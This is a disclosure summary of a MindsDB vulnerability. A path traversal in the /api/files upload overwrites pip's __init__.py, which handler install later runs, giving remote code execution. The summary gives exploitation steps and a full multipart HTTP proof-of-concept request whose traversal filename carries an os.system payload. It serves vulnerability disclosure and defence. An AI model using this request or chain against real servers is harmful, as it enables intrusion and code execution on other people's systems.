# MindsDB: Path Traversal in /api/files Leading to Remote Code Execution

Authenticated path traversal in MindsDB /api/files multipart upload lets attacker overwrite pip/__init__.py, executed on handler install for RCE.

- Payout: Research
- Severity: high
- Program: MindsDB
- Found by: XlabAITeam, keenanwgn, pkuGenuine
- Disclosed: 2026-02-24
- CVE: CVE-2026-27483
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-4894-xqv6-vrfq
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-4894-xqv6-vrfq
- Tags: area:web domain:api domain:web impact:rce kind:research platform:ghsa sev:high tech:python technique:chained technique:source-review vuln:path-traversal vuln:rce

**Target:** MindsDB HTTP API /api/files multipart upload endpoint
**Root cause:** Multipart upload writes the client-supplied filename to disk without sanitizing ../ sequences, and the write happens before clear_filename/save_file filtering.
**Steps:**
1. Send `PUT /api/files/mm` with `Content-Type: multipart/form-data` and a file part whose `filename` is `../../../../../../venv/lib/python3.10/site-packages/pip/__init__.py` containing `import os\nos.system("touch /tmp/rce_by_hacker")`.
2. Observe logs showing the file opened at the traversed path and confirm overwrite of pip/__init__.py.
3. Trigger `/<handler_name>/install` (or install any handler in UI) so install_dependencies runs pip via subprocess.Popen, executing the malicious __init__.py.
4. Verify `/tmp/rce_by_hacker` was created.
**How found:** Code review of the Upload File module in mindsdb/api/http/namespaces/file.py revealed the multipart parser writes files before clear_filename/save_file, with no filename sanitization.
**Exploitation:** Authenticated attacker uploads a malicious Python file over pip's __init__.py via traversal, then invokes handler install to make MindsDB run pip, executing arbitrary code as the server user.
**Escalation:** Chains file-write primitive with MindsDB's own handler-install pip invocation to convert arbitrary file write into RCE.
**Insight:** When a multipart parser writes to disk before app-level sanitization, target files that the app itself later executes (e.g. pip's __init__.py invoked by dependency install) to turn arbitrary write into RCE.

## Proof of concept (copied exactly from the original report)

**Multipart PUT with traversal filename overwriting pip __init__.py**

```
PUT /api/files/mm HTTP/1.1
Host: ip:47334
Content-Length: 579
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36
Accept: application/json, text/plain, */*
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryv9dZC0cAHLlHSHD9
Origin: http://ip:47334
Referer: http://ip:47334/fileUpload
Accept-Encoding: gzip, deflate, br
Accept-Language: zh,en;q=0.9,zh-CN;q=0.8
Cookie: bid=87948125-5042-4fc8-a692-9cbf71e387be
Connection: keep-alive

------WebKitFormBoundaryv9dZC0cAHLlHSHD9
Content-Disposition: form-data; name="name"

mm
------WebKitFormBoundaryv9dZC0cAHLlHSHD9
Content-Disposition: form-data; name="source"

mm
------WebKitFormBoundaryv9dZC0cAHLlHSHD9
Content-Disposition: form-data; name="source_type"

file
------WebKitFormBoundaryv9dZC0cAHLlHSHD9
Content-Disposition: form-data; name="file"; filename="../../../../../../venv/lib/python3.10/site-packages/pip/__init__.py"
Content-Type: text/plain

import os
os.system("touch /tmp/rce_by_hacker")
------WebKitFormBoundaryv9dZC0cAHLlHSHD9--
```